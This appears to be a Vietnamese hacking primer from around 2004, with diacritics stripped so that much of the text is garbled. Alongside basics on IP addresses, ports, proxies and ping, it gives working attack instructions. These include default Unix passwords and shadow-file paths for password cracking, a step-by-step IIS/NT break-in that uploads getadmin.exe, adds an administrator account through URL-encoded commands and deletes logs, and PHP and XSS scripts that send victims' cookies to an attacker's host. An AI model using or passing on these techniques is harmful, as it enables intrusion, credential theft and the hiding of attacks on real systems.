You are on page 1of 55

Trn trng cm n ngi cung cp cho UDS cun sch ny.

Nhng hiu bit c bn nht tr thnh Hacker - Phn


1
Nhiu bn Newbie c hi ti Hack l nh th no ? Lm sao hack ? Nhng cc
bn qun mt mt iu l cc bn cn phI c kin thc mt cch tng qut ,
hiu cc thut ng m nhng ngi rnh v mng hay s dng . Ring ti th cha
tht gii bao nhiu nhng qua nghin cu ti cng tng hp c mt s kin
thc c bn , mun chia s cho tt c cc bn , nhm cng cc bn hc hi .
Ti s khng chu trch nhim nu cc bn dng n quy ph ngi khc . Cc bn c
th copy hoc post trong cc trang Web khc nhng hy in tin tc gi di bi , tn
trng bi vit ny cng chnh l tn trng ti v cng sc ca ti , ng thi cng tn
trng chnh bn thn cc bn . Trong ny ti cng c chn thm mt s cch hack , crack
v v d cn bn , cc bn c th ng dng th v nghin cu c n hiu thm , ri
khi bt gp mt t m cc bn khng hiu th hy c bi ny bit , trong ny ti c s
dng mt s ca bi vit m ti thy rt hay t trang Web ca HVA , v cc trang Web
khc m ti tng gh thm . Xin cm n nhng tc gi vit nhng bi y . By gi
l vn chnh .

1 . ) Ta cn nhng g bt u?

C th nhiu bn khng ng vi ti nhng cch tt nht thc tp l cc bn hy
dng HH Window 9X , rI n cc ci khc mnh hn l Linux hoc Unix , dI
y l nhng ci bn cn c :
+ Mt ci OS ( c th l DOS , Window 9X , Linux , Unit .)
+ Mt ci trang Web tt ( HVA chng hn hi`hi` greenbiggrin.gif greenbiggrin.gif )
+ Mt b trnh duyt mng tt ( l Nescape , IE , nhng tt nht c l l Gozzila )
+ Mt cng c chat tt ( mIRC ,Yahoo Mass ..)
+ Telnet ( hoc nhng ci tng t nh nmap )
+ Ci quan trng nht m bt c ai mun tr thnh mt hacker l u phI c mt cht
kin thc v lp trnh ( C , C++ , Visual Basic , Pert ..)

2 . ) Th no l mt a ch IP ?

_ a ch IP c chia thnh 4 s gii hn t 0 - 255. Mi s c lu bi 1 byte - > !P
c kicks thc l 4byte, c chia thnh cc lp a ch. C 3 lp l A, B, v C. Nu
lp A, ta s c th c 16 triu i ch, lp B c 65536 a ch. V d: lp B vi
132.25,chng ta c tt c cc a ch t 132.25.0.0 n 132.25.255.255. Phn ln cc a
ch lp A ll s hu ca cc cng ty hay ca t chc. Mt ISP thng s hu mt vi
a ch lp B hoc C. V d: Nu a ch IP ca bn l 132.25.23.24 th bn c th xc
nh ISP ca bn l ai. ( c IP l 132.25.x.)
_ IP l t vit tt ca Internet Protocol, trn Internet th a ch IP ca mI ngi l duy
nht v n s I din cho chnh ngI , a ch IP c s dng bi cc my tnh khc
nhau nhn bit cc my tnh kt ni gia chng. y l l do ti sao bn li b IRC
cm, v l cch ngi ta tm ra IP ca bn.
a ch IP c th d dng pht hin ra, ngi ta c th ly c qua cc cch sau :
+ bn lt qua mt trang web, IP ca bn b ghi li
+ trn IRC, bt k ai cng c th c IP ca bn
+ trn ICQ, mi ngi c th bit IP ca bn, thm ch bn chn ``do not show ip`` ngi
ta vn ly c n
+ nu bn kt ni vi mt ai , h c th g ``systat n ``, v bit c ai ang kt ni
n h
+ nu ai gi cho bn mt email vi mt on m java tm IP, h cng c th tm
c IP ca bn
( Ti liu ca HVA )

3 . ) Lm th no bit c a ch IP ca mnh ?

Run nh lnh winipcfg ._ Trong Window : vo Start
_ Trong mIRC : kt nI n my ch sau nh lnh /dns
_ Thng qua mt s trang Web c hin th IP .

4 . ) IP Spoofing l g ?

_ Mt s IP c mc ch xc nh mt thit b duy nht trn th gii. V vy trn mng
mt my ch c th cho php mt thit b khc trao i d liu qua li m khng cn
kim tra my ch.
Tuy nhin c th thay i IP ca bn, ngha l bn c th gi mt thng tin gi n mt
my khc m my s tin rng thng tin nhn c xut pht t mt my no (tt
nhin l khng phi my ca bn). Bn c th vt qua my ch m khng cn phi c
quyn iu khin my ch . iu tr ngi l ch nhng thng tin phn hi t my
ch s c gi n thit b c IP m chng ta gi mo. V vy c th bn s khng c
c s phn hi nhng thng tin m mnh mong mun. C l iu duy nht m spoof IP
c hiu qu l khi bn cn vt qua firewall, trm account v cn du thng tin c nhn!
( Ti liu ca HVA )

5 . ) Trojan / worm / virus / logicbomb l ci g ?

_ Trojan : Ni cho d hiu th y l chng trnh ip vin c ci vo my ca ngI
khc n cp nhng ti liu trn my gI v cho ch nhn ca n , Ci m n n cp
c th l mt khu , accourt , hay cookie . tu theo mun ca ngI ci n .
_ virus : Ni cho d hiu th y l chng trnh vI nhng m c bit c ci ( hoc
ly lan t my khc ) ln my ca nn nhn v thc hin nhng yu cu ca m , a s
virut c s dng ph hoI d liu hoc ph hoI my tnh .
_ worm : y l chng trnh c lp c th t nhn bn bn thn n v ly lan khp bn
trong mng .Cng ging nh Virut , n cng c th ph hoI d liu , hoc n c th ph
hoI bn trong mng , nhiu khi cn lm down c mang .
_ logicbomb : L chng trnh gi mt lc nhiu gi d liu cho cng mt a ch , lm
ngp lt h thng , tt nghn ng truyn ( trn server ) hoc dng lm cng c
khng b I phng ( bom Mail ) ;) .

6 . ) PGP l g ?

_ PGP l vit tt ca t Pretty Good Privacy , y l cng c s dng s m ho cha
kho cng cng bo v nhng h s Email v d liu , l dng m ho an ton cao s
dng phn mm cho MS_DOS , Unix , VAX/VMS v cho nhng dng khc .

7 . ) Proxy l g ?

_Proxy cung cp cho ngi s dng truy xut internet vi nhng host n. Nhng proxy
server phc v nhng nghi thc t bit hoc mt tp nhng nghi thc thc thi trn
dual_homed host hoc basion host. Nhng chng trnh client ca ngi s dung s qua
trung gian proxy server thay th cho server tht s m ngi s dng cn giao tip. Proxy
server xc nh nhng yu cu t client v quyt nh p ng hay khng p ng, nu
yu cu c p ng, proxy server s kt ni vi server tht thay cho client v tip tc
chuyn tip n nhng yu cu t clientn server, cng nh p ng nhng yu cu ca
server n client. V vy proxy server ging cu ni trung gian gia server v client .
_ Proxy cho user truy xut dch v trn internet theo ngha trc tip. Vi dual host homed
cn phi login vo host trc khi s dng dch v no trn internet. iu ny thng
khng tin li, v mt s ngi tr nn tht vng khi h c cm gic thng qua firewall,
vi proxy n gii quyt c vn ny. Tt nhin n cn c nhng giao thc mi
nhng ni chung n cng kh tin li cho user. Bi v proxy cho php user truy xut
nhng dch v trn internet t h thng c nhn ca h, v vy n khng cho php packet
i trc tip gia h thng s dng v internet. ng i l ging tip thng qua dual
homed host hoc thng qua s kt hp gia bastion host v screening rounter.

( Bi vit ca Z3RON3 ti liu ca HVA )

8 . ) Unix l g ?

_ Unix l mt h iu hnh ( ging Window ) .N hin l h iu hnh mnh nht , v
thn thit vi cc Hacker nht . Nu bn tr thnh mt hacker tht s th HH ny
khng th thiu i vI bn . N c s dng h tr cho lp trnh ngn ng C .

9 . ) Telnet l g ?

_ Telnet l mt chng trnh cho php ta kt nI n my khc thng qua cng ( port ) .
MI my tnh hoc my ch ( server ) u c cng , sau y l mt s cng thng dng :
+ Port 21: FTP
+ Port 23: Telnet
+ Port 25: SMTP (Mail)
+ Port 37: Time
+ Port 43: Whois
_ V d : bn c th gI Telnet kt nI n mail.virgin.net trn port 25 .

10 . ) Lm th no bit mnh Telnet n h thng Unix ?
_ Ok , ti s ni cho bn bit lm sao mt h thng Unix c th cho hI bn khi bn kt
ni ti n . u tin , khi bn gi Unix , thng thng n s xut hin mt du nhc :
Log in : , ( tuy nhin , ch vi nh vy th cng cha chc chn y l Unix c ngoI
tr chng xut hin thng bo trc ch log in : nh v d : Welcome to SHUnix.
Please log in .)
By gi ta ang tI du nhc log in , bn cn phI nhp vo mt account hp l . Mt
account thng thng gm c 8 c tnh hoc hn , sau khi bn nhp account vo , bn s
thy c mt mt khu , bn hy th nhp Default Password th theo bng sau :

Account-------------------------Default Password


Root----------------------------------------------- Root
Sys------------------------------------------------ Sys / System / Bin
Bin------------------------------------------------ -Sys / Bin
Mountfsy------------------------------------------M ountfsys
Nuuc----------------------------------------------- Anon
Anon----------------------------------------------- Anon
User----------------------------------------------- -User
Games---------------------------------------------G ames
Install-------------------------------------------- --Install
Demo----------------------------------------------- Demo
Guest---------------------------------------------- Guest


11 . ) shell account l ci g ?

_ Mt shell account cho php bn s dng my tnh nh bn nh thit b u cuI (
terminal ) m vI n bn c th nh lnh n mt my tnh ang chy Unix , Shell l
chng trnh c nhim v dch nhng k t ca bn gi n rI a vo thc hin lnh
ca chng trnh Unix . VI mt shell account chnh xc bn c th s dng c mt
trm lm vic mnh hn nhiu so vI ci m bn c th tng tng n c .
Bn c th ly c shell account min ph tI trang Web http://www.freeshell.com/
tuy nhin bn s khng s dng c telnet cho n khi bn tr tin cho n .

12 . ) Lm cch no bn c th crack Unix account passwords ?

_ Rt n gin , tuy nhin cch m ti ni vI cc bn y lc hu rI , cc bn c th
crack c chng nu cc bn may mn , cn khng th cc bn c tham kho .
_ u tin bn hy ng nhp vo h thng c s dng Unix nh mt khch hng hoc
mt ngI khch gh thm , nu may mn bn s ly c mt khu c ct du trong
nhng h thng chun nh :

/etc/passwd

mi hng trong mt h s passwd c mt ti khon khc nhau , n ging nh hng ny :

userid:password:userid#:groupid#:GECOS field:home dir:shell

trong :
+ userid = the user id name : tn ng nhp : c th l mt tn hoc mt s .
+ password : mt m . Dng lm g hn cc bn cng bit rI .
+ userid# : l mt s duy nht c thng bo cho ngI ng k khi h ng k mI
ln u tin .
+ groupid# : tng t nh userid# , nhng n c dng cho nhng ngI ang trong
nhm no ( nh nhm Hunter Buq ca HVA chng hn )
+ GECOS FIELD : y l ni cha thng tin cho ngI s dng , trong c h tn y
, s in thoi , a ch v.v. . y cng l ngun tt ta d dng crack mt mt
khu .
+ home dir : l th mc ghi lI hot ng ca ngi khch khi h gh thm ( ging nh
mc History trong IE vy )
+ Shell : y l tn ca shell m n t ng bt u khi ta login .
_ Hy ly file password , ly file text m ho v , sau bn dng chng trnh
``CrackerJack`` hoc ``John the Ripper`` crack .
_ Cc bn thy cng kh d phI khng ? Sai bt , khng d dng v may mn bn c
th crack c v hu ht by gi h ct rt k , hy c tip bn s thy kh khn ch
no .

13 . ) shadowed password l ci g ?

_ Mt shadowed password c bit n l trong file Unix passwd , khi bn nhp mt
mt khu , th ngI khc ch thy c trnh n ca n ( nh k hiu X hoc * )
. Ci ny thng bo cho bn bit l file passwd c ct gi ni khc , ni m mt
ngI s dng bnh thng khng th n c . Khng l ta nh b tay , d nhin l
I vI mt hacker th khng ri , ta khng n c trc tip file shadowed password
th ta hy tm file sao lu ca n , l file Unshadowed .
Nhng file ny trn h thng ca Unix khng c nh , bn hy th vI ln lt nhng
ng dn sau :

CODE
AIX 3 /etc/security/passwd !
or /tcb/auth/files/ /
A/UX 3.0s /tcb/files/auth/?/ *
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files/ /
SunOS4.1+c2 /etc/security/passwd.adjunct =##username
SunOS 5.0 /etc/shadow
maps/tables/whatever >
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb =20


Trc du / u tin ca mt hng l tn ca h thng tng ng , hy cn c vo h
thng tht s bn mun ly rI ln theo ng dn pha sau du /u tin .
V cuI cng l nhng account passwd m ti tng crack c , c th by gi n ht
hiu lc rI :

CODE
arif:x:1569:1000:Nguyen Anh Chau:/udd/arif:/bin/ksh
arigo:x:1570:1000:Ryan Randolph:/udd/arigo:/bin/ksh
aristo:x:1573:1000:To Minh Phuong:/udd/aristo:/bin/ksh
armando:x:1577:1000:Armando Huis:/udd/armando:/bin/ksh
arn:x:1582:1000:Arn mett:/udd/arn:/bin/ksh
arne:x:1583:1000:Pham Quoc Tuan:/udd/arne:/bin/ksh
aroon:x:1585:1000:Aroon Thakral:/udd/aroon:/bin/ksh
arozine:x:1586:1000: Mogielnicki:/udd/arozine:/bin/bash
arranw:x:1588:1000:Arran Whitaker:/udd/arranw:/bin/ksh


bo m s b mt nn pass ca h ti xo i v vo l k hiu x , cc bn
hy tm hiu thng tin c c t chng xem

Ht phn 1
Tc gi : Anhdenday - HVAonline
Nhng hiu bit c bn nht tr thnh Hacker - Phn
2 [10/11/2004 3:11:00 PM]

Vitual port ( cng o ) l 1 s t nhin c gi trong TCP(Tranmission Control
Protocol) v UDP(User Diagram Protocol) header. Nh mi ngui bit, Windows
c th chy nhiu chng trnh 1 lc, mi chng trnh ny c 1 cng ring dng
truyn v nhn d liu.
V d 1 my c a ch IP l 127.0.0.1 chy WebServer, FTP_Server, POP3 server, etc,
nhng dch v ny u uc chy trn 1 IP address l 127.0.0.1, khi mt gi tin uc gi
n lm th no my tnh ca chng ta phn bit c gi tin ny i vo dch v no
WebServer hay FTP server hay SM! TP? Chnh v th Port xut hin. Mi dch v c 1 s
port mc nh, v d FTP c port mc nh l 21, web service c port mc nh l 80,
POP3 l 110, SMTP l 25 vn vn....

Ngi qun tr mng c th thay i s port mc nh ny, nu bn ko bit s port trn
mt my ch, bn ko th kt ni vo dch v c. Chc bn tng nghe ni n
PORT MAPPING nhng c l cha bit n l g v chc nng th no. Port mapping
thc ra n gin ch l qu trnh chuyn i s port mc nh ca mt dch v no n
1 s khc. V d Port mc nh ca WebServer l 80, nhng thnh thong c l bn vn
thy http://www.xxx.com:8080/ , 8080 y chnh l s port ca host xxx nhng uc
ngui qun tr ca host ny ``map`` t 80 thnh 8080.

( Ti liu ca HVA )

15 . ) DNS l g ?

_ DNS l vit tt ca Domain Name System. Mt my ch DNS i kt ni cng s 53,
c ngha l nu bn mun kt ni vo my ch , bn phi kt ni n cng s 53. My
ch chy DNS chuyn hostname bng cc ch ci thnh cc ch s tng ng v ngc
li. V d: 127.0.0.1 -- > localhost v localhost--- > 127.0.0.1 .

( Ti liu ca HVA )

16 . ) i iu v Wingate :

_ WinGate l mt chng trnh n gin cho php bn chia cc kt ni ra. Th d: bn c
th chia s 1 modem vi 2 hoc nhiu my . WinGate dng vi nhiu proxy khc nhau c
th che giu bn .
_ Lm sao Wingate c th che du bn ? Hy lm theo ti : Bn hy telnet trn cng
23 trn my ch chy WinGate telnet proxy v bn s c du nhc WinGate > . Ti du
nhc ny bn nh vo tn server, cng mt khong trng v cng bn mun kt ni vo.
VD :

CODE
telnet wingate.net
WinGate > victim.com 23


ta telnet n cng 23 v y l cng mc nh khi bn ci Wingate . lc ny IP trn my
m victim chp c ca ta l IP ca my ch cha Wingate proxy .
_ Lm sao tm Wingate ?
+ Nu bn mun tm IP WinGates tnh (IP khng i) th n yahoo hay mt trang tm
kim cable modem. Tm kim cable modems v nhiu ngi dng cable modems c
WinGate h c th chia s ng truyn rng ca n cable modems cho nhng my
khc trong cng mt nh . Hoc bn c th dng Port hay Domain scanners v scan Port
1080 .
+ tm IP ng (IP thay i mi ln user kt ni vo internet) ca WinGates bn c th
dng Domscan hoc cc chng trnh qut khc . Nu dng Domscan bn hy nhp
khong IP bt k vo box u tin v s 23 vo box th 2 . Khi c kt qu , bn hy
th ln lt telnet n cc a ch IP tm c ( hng dn trn ), nu n xut hin
du Wingate > th bn tm ng my ang s dng Wingate rI .
+ Theo kinh nghim ca ti th bn hy down wingatescanner v m si , n c rt nhiu
trn mng .

17 . ) i iu v Traceroute :

_ Traceroute l mt chng trnh cho php bn xc nh c ng i ca cc gi
packets t my bn n h thng ch trn mng Internet.
_ bn hy xem VD sau :

CODE
C:\windows > tracert 203.94.12.54

Tracing route to 203.94.12.54 over a maximum of 30 hops

1 abc.netzero.com (232.61.41.251) 2 ms 1 ms 1 ms
2 xyz.Netzero.com (232.61.41.0) 5 ms 5 ms 5 ms
3 232.61.41.10 (232.61.41.251) 9 ms 11 ms 13 ms
4 we21.spectranet.com (196.01.83.12) 535 ms 549 ms 513 ms
5 isp.net.ny (196.23.0.0) 562 ms 596 ms 600 ms
6 196.23.0.25 (196.23.0.25) 1195 ms1204 ms
7 backbone.isp.ny (198.87.12.11) 1208 ms1216 ms1233 ms
8 asianet.com (202.12.32.10) 1210 ms1239 ms1211 ms
9 south.asinet.com (202.10.10.10) 1069 ms1087 ms1122 ms
10 backbone.vsnl.net.in (203.98.46.01) 1064 ms1109 ms1061 ms
11 newdelhi-01.backbone.vsnl.net.in (203.102.46.01) 1185 ms1146 ms1203 ms
12 newdelhi-00.backbone.vsnl.net.in (203.102.46.02) ms1159 ms1073 ms
13 mtnl.net.in (203.194.56.00) 1052 ms 642 ms 658 ms


Ti cn bit ng i t my ti n mt host trn mng Internet c a ch ip l
203.94.12.54. Ti cn phi tracert n n! Nh bn thy trn, cc gi packets t my
ti mun n c 203.94.12.54 phi i qua 13 hops(mc xch) trn mng. y l ng
i ca cc gi packets .
_ Bn hy xem VD tip theo :

CODE
host2 # traceroute xyz.com

traceroute to xyz.com (202.xx.12.34), 30 hops max, 40 byte packets
1 isp.net (202.xy.34.12) 20ms 10ms 10ms
2 xyz.com (202.xx.12.34) 130ms 130ms 130ms


+ Dng u tin cho bit hostname v a ch IP ca h thng ch. Dng ny cn cho
chng ta bit thm gi tr TTL<=30 v kch thc ca datagram l 40 bytes(20-bytes IP
Header + 8-bytes UDP Header + 12-bytes user data).
+ Dng th 2 cho bit router u tin nhn c datagram l 202.xy.34.12, gi tr ca
TTL khi gi n router ny l 1. Router ny s gi tr li cho chng trnh traceroute
mt ICMP message error ``Time Exceeded``. Traceroute s gi tip mt datagram n h
thng ch.
+ Dng th 3, xyz.com(202.xx.12.34) nhn c datagram c TTL=1(router th nht
gim mt trc - TTL=2-1=1). Tuy nhin, xyz.com khng phi l mt router, n s
gi tr li cho traceroute mt ICMP error message ``Port Unreachable``. Khi nhn c
ICMP message ny, traceroute s bit c n c h thng ch xyz.com v kt
thc nhim v ti y.
+ Trong trng hp router khng tr li sau 5 giy, traceroute s in ra mt du sao
``*``(khng bit) v tip tc gi datagram khc n host ch!
_Ch :
Trong windows: tracert hostname
Trong unix: traceroute hostname

( Ti liu ca viethacker.net )

18 . ) Ping v cch s dng :

_ Ping l 1 khi nim rt n gin tuy nhin rt hu ch cho vic chn on mng. Tiu
s ca t ``ping`` nh sau: Ping l ting ng vang ra khi 1 tu ngm mun bit c 1 vt
th khc gn mnh hay ko, nu c 1 vt th no gn tu ngm ting sng m ny s
va vo vt th v ting vang li s l ``pong`` vy th tu ngm s bit l c g gn
mnh.
_Trn Internet, khi nim Ping cng rt ging vi tiu s ca n nh cp trn.
Lnh Ping gi mt gi ICMP (Internet Control Message Protocol) n host, nu host
``pong`` li c ngha l host tn ti (hoc l c th vi ti oc). Ping cng c th gip
chng ta bit c lung thi gian mt gi tin (data packet) i t my tnh ca mnh n
1 host no .
_Ping tht d dng, ch cn m MS-DOS, v g ``ping a_ch_ip``, mc nh s ping 4
ln, nhng bn cng c th g

CODE
``ping ip.address -t``


Cch ny s lm my ping mi. thay i kch thc ping lm nh sau:

CODE
``ping -l (size) a_ch_ip ``


Ci ping lm l gi mt gi tin n mt my tnh, sau xem xem mt bao lu gi tin ri
xem xem sau bao lu gi tin quay tr li, cch ny xc nh c tc ca kt ni,
v thi gian cn mt gi tin i v quay tr li v chia bn (gi l ``trip time``). Ping
cng c th c dng lm chm i hoc v h thng bng lt ping. Windows 98
treo sau mt pht lt ping (B m ca kt ni b trn c qua nhiu kt ni, nn
Windows quyt nh cho n i ngh mt cht). Mt cuc tn cng ping flood s chim
rt nhiu bng thng ca bn, v bn phi c bng thng ln hn i phng ( tr khi i
phng l mt my chy Windows 98 v bn c mt modem trung bnh, bng cch
bn s h gc i phng sau xp x mt pht lt ping). Lt Ping khng hiu qu lm i
vi nhng i phng mnh hn mt cht. tr khi bn c nhiu ng v bn kim sot
mt s lng tng i cc my ch cng ping m tng bng thng ln hn i phng.
Ch : option t ca DOS khng gy ra lt ping, n ch ping mc tiu mt cch lin tc,
vi nhng khong ngt qung gia hai ln ping lin tip. Trong tt c cc h Unix hoc
Linux, bn c th dng ping -f gy ra lt thc s. Thc t l phi ping -f nu bn dng
mt bn tng thch POSIX (POSIX - Portable Operating System Interface da trn
uniX), nu khng n s khng phi l mt bn Unix/Linux thc s, bi vy nu bn dng
mt h iu hnh m n t cho n l Unix hay Linux, n s c tham s -f.

( Ti liu ca HVA v viethacker.net )

19 . ) K thut xm nhp Window NT t mng Internet :

_ y l bi hc hack u tin m ti thc hnh khi bt u nghin cu v hack , by gi
ti s by li cho cc bn . bn s cn phI c mt s thI gian thc hin c n v n
tuy d nhng kh . Ta s bt u :
_ u tin bn cn tm mt server chy IIS :
_ Tip n bn vo DOS v nh ` FTP `. VD :

c:\Ftp http://www.dodgyinc.com/

( trang na khi ti thc hnh th vn cn lm c , by gi khng bit h fix cha ,
nu bn no c trang no khc th hy post ln cho mI ngI cng lm nh )
Nu connect thnh cng , bn s thy mt s dng tng t nh th ny :

CODE
Connected to http://www.dodgyinc.com./
220 Vdodgy Microsoft FTP Service (Version 3.0).
User (www.dodgyinc.com:(none)):


Ci m ta thy trn c cha nhng thng tin rt quan trng , n cho ta bit tn Netbios
ca my tnh l Vdodgy . T iu ny bn c th suy din ra tn m c s dng cho
NT cho php ta c th khai thc , mc nh m dch v FTP gn cho n nu n cha
i tn s l IUSR_VDODGY . Hy nh ly v n s c ch cho ta . Nhp
``anonymous trong user n s xut hin dng sau :

CODE
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:


By gi passwd s l bt c g m ta cha bit , tuy nhin , bn hy th nh vo passwd
l anonymous . Nu n sai , bn hy log in lI thit b FTP , bn hy nh l khi ta quay
lI ln ny th khng s dng cch mo danh na ( anonymous ) m s dng `Guest ,
th li passwd vi guest xem th no .
By gi bn hy nh lnh trong DOS :

CODE
Cd /c


V s nhn thy kt qu nu nh bn xm nhp thnh cng , by gi bn hy nhanh
chng tm th mc `cgi-bin` . Nu nh bn may mn , bn s tm c d dng v thng
thng h thng qun l t `cgi-bin` vo ni m ta va xm nhp cho cc ngI
qun l h d dng iu khin mng hn . th mc cgi-bin c th cha cc chng trnh
m bn c th li dng n chy t trnh duyt Web ca bn . Ta hy bt u quy
no greenbiggrin.gif greenbiggrin.gif .
_ u tin , bn hy chuyn t th mc cgi-bin v s dng lnh Binary ( c th cc bn
khng cn dng lnh ny ) , sau bn dnh tip lnh put cmd.exe . Tip theo l bn
cn c file hack ci vo th mc ny , hy tm trn mng ly 2 file quan trng nht
l `getadmin.exe` v `gasys.dll` . Download chng xung , mt khi bn c n hy
ci vo trong th mc cgi-bin . Ok , coi nh mI vic xong , bn hy ng ca s
DOS .
By gi bn hy nh a ch sau ln trnh duyt ca bn :

http://www.dodgyinc.com/cgi-bin/getadmin.exe? IUSR_VDODGY

Sau vi giy bn s c c cu tr li nh dI y :

CODE
CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP
headers. The headers it did return are:
Congratulations , now account IUSR_VDODGY have administrator rights!


Th l bn mo danh admin xm nhp h thng , vic cn thit by gi l bn hy
t to cho mnh mt account , hy nh dng sau trn IE :

http://www.dodgyinc.com/cgi- bin/cmd.exe?/c%20c:\winnt\system32\net.exe%20user%2
0hacker%20toilahacker%20/add

dng lnh trn s to cho bn mt account login vi user : anhdenday v passwd :
toilahackerBy gi bn hy l cho user ny c account ca admin , bn ch cn nh ln
IE lnh :

http://www.dodgyinc.com/cgi-bin/getadmin.exe? anhdenday

Vy l xong ri , bn hy disconnect v n start menu - > find ri search computer
`www.dodgyinc.com`. Khi tm thy , bn vo explore , explore NT s m ra bn hay
nhp user v passwd m n ( ca ti l user : anhdenday v passwd : toilahacker ) .

C mt vn l khi bn xm nhp h thng ny th s b ghi li , do xo du vt
bn hy vo `Winnt\system32\logfiles` m file log rI xo nhng thng tin lin quan
n bn , rI save chng . Nu bn mun ly mt thng bo g v vic chia s s xm
nhp th bn hy thay i ngy thng trn my tnh vI URL sau :

http://www.dodgyinc.com/cgi-bin/cmd.exe?/c%20 date%2030/04/03

xong rI bn hy xo file `getadmin.exe`, v `gasys.dll` t `cgi-bin` . Mc ch khi ta
xm nhp h thng ny l chm pass ca admin ln sau xm nhp mt cch hp l ,
do bn hy tm file SAM ( cha pass ca admin v member ) trong h thng rI dng
chng trnh l0pht crack crack pass ( Hng dn v cch s dng l0pht crack v
3.02 ti post ln ri ,cc bn hy t nghin cu nh ) . y l link :
http://vnhacker.org/forum/?act=ST&f=6&t=11566 &s=
Khi crack xong cc bn c user v pass ca admin rI , by gi hy xo account ca
user ( ca ti l anhdenday ) i cho an ton . Bn c th lm g trong h thng l tu
thch , nhng cc bn ng xo ht ti liu ca h nh , ti cho h lm .
Bn cm thy th no , rc ri lm phi khng . Lc ti th hack cch ny , ti my
m mt c 4 gi , nu nh bn quen th ln th 2 bn s mt t thI gian hn .

phn 3 ti s cp n HH Linux , n cch ngt mt khu bo v ca mt Web site
, v lm th no hack mt trang web n gin nht .v.v

Ht phn 2

Tc gi: Anhdenday - HVAOnline.net
Nhng hiu bit c bn nht tr thnh Hacker - Phn
3 [12/7/2004 10:33:00 AM]

20.) Cookie l g ?

Cookie l nhng phn d liu nh c cu trc c chia s gia web site v browser
ca ngi dng. cookies c lu tr di nhng file d liu nh dng text (size
di 4k). Chng c cc site to ra lu tr/truy tm/nhn bit cc thng tin v
ngi dng gh thm site v nhng vng m h i qua trong site.
Nhng thng tin ny c th bao gm tn/nh danh ngi dng, mt khu, s thch, thi
quen...Cookie c browser ca ngi dng chp nhn lu trn a cng ca my mnh,
ko phi browser no cng h tr cookie. Sau mt ln truy cp vo site, nhng thng tin
v ngi dng c lu tr trong cookie. nhng ln truy cp sau n site , web site
c th dng li nhng thng tin trong cookie (nh thng tin lin quan n vic ng nhp
vo 1 forum...) m ngi ko phi lm li thao tc ng nhp hay phi nhp li cc thng
tin khc. Vn t ra l c nhiu site qun l vic dng li cc thng tin lu trong
cookie ko chnh xc, kim tra ko y hoc m ho cc thng tin trong cookie cn s
h gip cho hacker khai thc vt qua cnh ca ng nhp, ot quyn iu khin site
.

_ Cookies thng c cc thnh phn sau :

+ Tn: do ngi lp trnh web site chn
+ Domain: l tn min t server m cookie c to v gi i
+ ng dn: thng tin v ng dn web site m bn ang xem
+ Ngy ht hn: l thi im m cookie ht hiu lc .
+ Bo mt: Nu gi tr ny c thit lp bn trong cookie, thng tin s c m ho
trong qu trnh truyn gia server v browser.
+ Cc gi tr khc: l nhng d liu c trng c web server lu tr nhn dng v
sau cc gi tr ny ko cha cc khong trng, du chm, phy v b gii hn trong khong
4k.

( Ti liu ca Viethacker.net )

21 . ) K thut ly cp cookie ca nn nhn :

_ Trc ht , cc bn hy m notepad ri chp on m sau vo notepad :

CODE
<?php
define (``LINE``, ``\r\n``);
define (``HTML_LINE``, ``
``);
function getvars($arr, $title)
{
$res = ````;
$len = count($arr);
if ($len > 0)
{
if (strlen($title) > 0)
{
print(``[--------$title--------]`` . HTML_LINE);
$res .= ``[--------$title--------]`` . LINE;
}
foreach ($arr as $key = > $value)
{
print(``[$key]`` . HTML_LINE);
print($arr[$key] . HTML_LINE);
$res .= ``[$key]`` . LINE . $arr[$key] . LINE;
}
}
return $res;
}
// get current date
$now = date(``Y-m-d H:i:s``);
// init
$myData = ``[-----$now-----]`` . LINE;
// get
$myData .= getvars($HTTP_GET_VARS, ````);
// file
$file = $REMOTE_ADDR . ``.txt``;
$mode = ``r+``;
if (!file_exists($file))
$mode = ``w+``;
$fp = fopen ($file, $mode);
fseek($fp, 0, SEEK_END);
fwrite($fp, $myData);
fclose($fp);
? >


hoc

CODE
<?php
if ($contents && $header){
mail(``victim@yahoo.com`` , ``from mail script``,$contents,$header) or
die(`couldnt email it`);
sleep(2);
? >
<script language=javascript >


<?php
} else {
echo ``nope``;
}


(Bn hy sa ci victim@yahoo.com thnh a ch Mail ca bn ) .

Bn hy save ci notepad ny vi tn < tn tu cc bn > .php ( Nh l phi c .php )
ri upload ln mt host no c h tr PHP , trong VD ca ti l abc.php .( i vi cc
bn tng lm Web chc s rt d phI khng ? ) . on m ny s c nhim v n cp
thng tin (v c khi c c cookie ) ca nn nhn khi h m d liu c cha on m ny
rI t ng save thng tin thnh file < ip ca nn nhn > .txt .
_ Cn mt cch na ly cookie c s dng trn cc forum b li nhng cha fix ,
khi post bi bn chi cn thm on m sau vo bi ca mnh :

CODE
document.write(` `)


vi host_php : l a ch bn upload file n cp cookie ln .
v abc.php l file VD ca ti .
_ V d : khi p dng trong tag img, ta dng nh sau:

CODE
`)\">


hoc:

[CODE
img]javascript: Document.write(`&#x3cimg
src=http://host_php/docs.php?docs=`+escape(document .cookie)+`&#x3e`)\">


_ Bn c th tm nhng trang web thc hnh th cch trong VD ny bng cch vo
google.com tm nhng forum b li ny bng t kho ``Powered by .. forum vi
nhng forum sau : ikonboard, Ultimate Bulletin Board , vBulletin Board, Snitz . Nu cc
bn may mn cc bn c th tm thy nhng forum cha fix li ny m thc hnh , ai tm
c th chia s vi mi ngi nh .
_ Cn nhiu on m n cp cookie cng hay lm , cc bn hy t mnh tm thm .

22 . ) Cch ngt mt khu bo v Website :

_ Khi cc bn ti tm kim thng tin trn mt trang Web no , c mt s ch trn trang
Web khi bn vo s b chn li v s xut hin mt box yu cu nhp mt khu , y
chnh l khu vc ring t ct du nhng thng tin mt ch dnh cho s ngi hoc mt
nhm ngi no ( Ni ct ngh hack ca viethacker.net m bo e-chip ni ti
chng hn ) . Khi ta click vo ci link th ( thng thng ) n s gi ti .htpasswd v
.htaccess nm cng trong th mc bo v trang Web . Ti sao phi dng du chm
trc trong tn file `.htaccess`? Cc file c tn bt u l mt du chm `.` s c cc
